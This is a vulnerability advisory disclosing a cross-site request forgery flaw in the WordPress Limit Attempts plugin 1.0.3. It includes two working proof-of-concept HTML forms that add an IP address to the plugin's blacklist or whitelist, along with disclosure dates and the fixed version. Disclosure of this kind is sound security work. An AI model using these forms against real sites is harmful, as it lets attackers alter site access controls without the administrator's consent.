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WordPress Limit Attempts 1.0.3 Cross Site Request Forgery

WordPress Limit Attempts 1.0.3 Cross Site Request Forgery
Posted Dec 17, 2015
Authored by Madhu Akula

WordPress Limit Attempts plugin version 1.0.3 suffers from a cross site request forgery vulnerability.

tags | exploit, csrf
MD5 | 792885ab2c097b8eb2b84811d1f56197

WordPress Limit Attempts 1.0.3 Cross Site Request Forgery

Change Mirror Download
Plugin Name : WP Limit Attempts A8-Cross-Site_Request_Forgery_(CSRF)

Effected Version : 1.0.3 (and most probably lower version's if any)

Vulnerability : A8-Cross-Site Request Forgery (CSRF)

Identified by : Madhu Akula



Technical Details

Minimum Level of Access Required : Unauthenticated

PoC - (Proof of Concept) :

POC for Blcklist :

<html>
<body>
<form action=”http://localhost/wp-admin/admin.php?page=limit-attempts.php&tab=blacklist” method=”POST”>
<input type=”hidden” name=”lmtttmpts_add_to_blacklist” value=”192.168.1.1″ />
<input type=”submit” value=”Submit request” />
</form>
</body>
</html>

POC for whitelist:

<html>
<body>
<form action=”http://localhost/wp-admin/admin.php?page=limit-attempts.php&tab=whitelist” method=”POST”>
<input type=”hidden” name=”lmtttmpts_add_to_whitelist” value=”192.168.1.1″ />
<input type=”submit” value=”Submit request” />
</form>
</body>
</html>

In the value place change the IP which you want to block (or) allow


Vulnerable Parameter : Vulnerable_parameter

Fixed in : 1.0.4

http://wordpress.org/plugins/limit-attempts/changelog/

Disclosure Timeline

Vendor Contacted : 2014-08-04

Plugin Status : Updated on 2014-08-07

Public Disclosure : October 3, 2015

CVE Number : Not assigned yet

Plugin Description :

Limit Attempts is a plugin developed by BestWebSoft, which was designed to manage the access to user's website. With this plugin, you can limit user's attempts to log in to your website and, consequently, block the user for a certain period of time. Apart from that, Limit Attempts allows users to create and edit black- and whitelists with the aim of controlling the access to the site and its content. Also, with this plugin, users will be able to specify the settings for adding an address to the blacklist, as well as be aware of everything that is going on your website by sending email notifications about blocking. Moreover, this plugin is compatible with htaccess, thus, you can minimize server workload by adding IP address blocking data to htaccess file.

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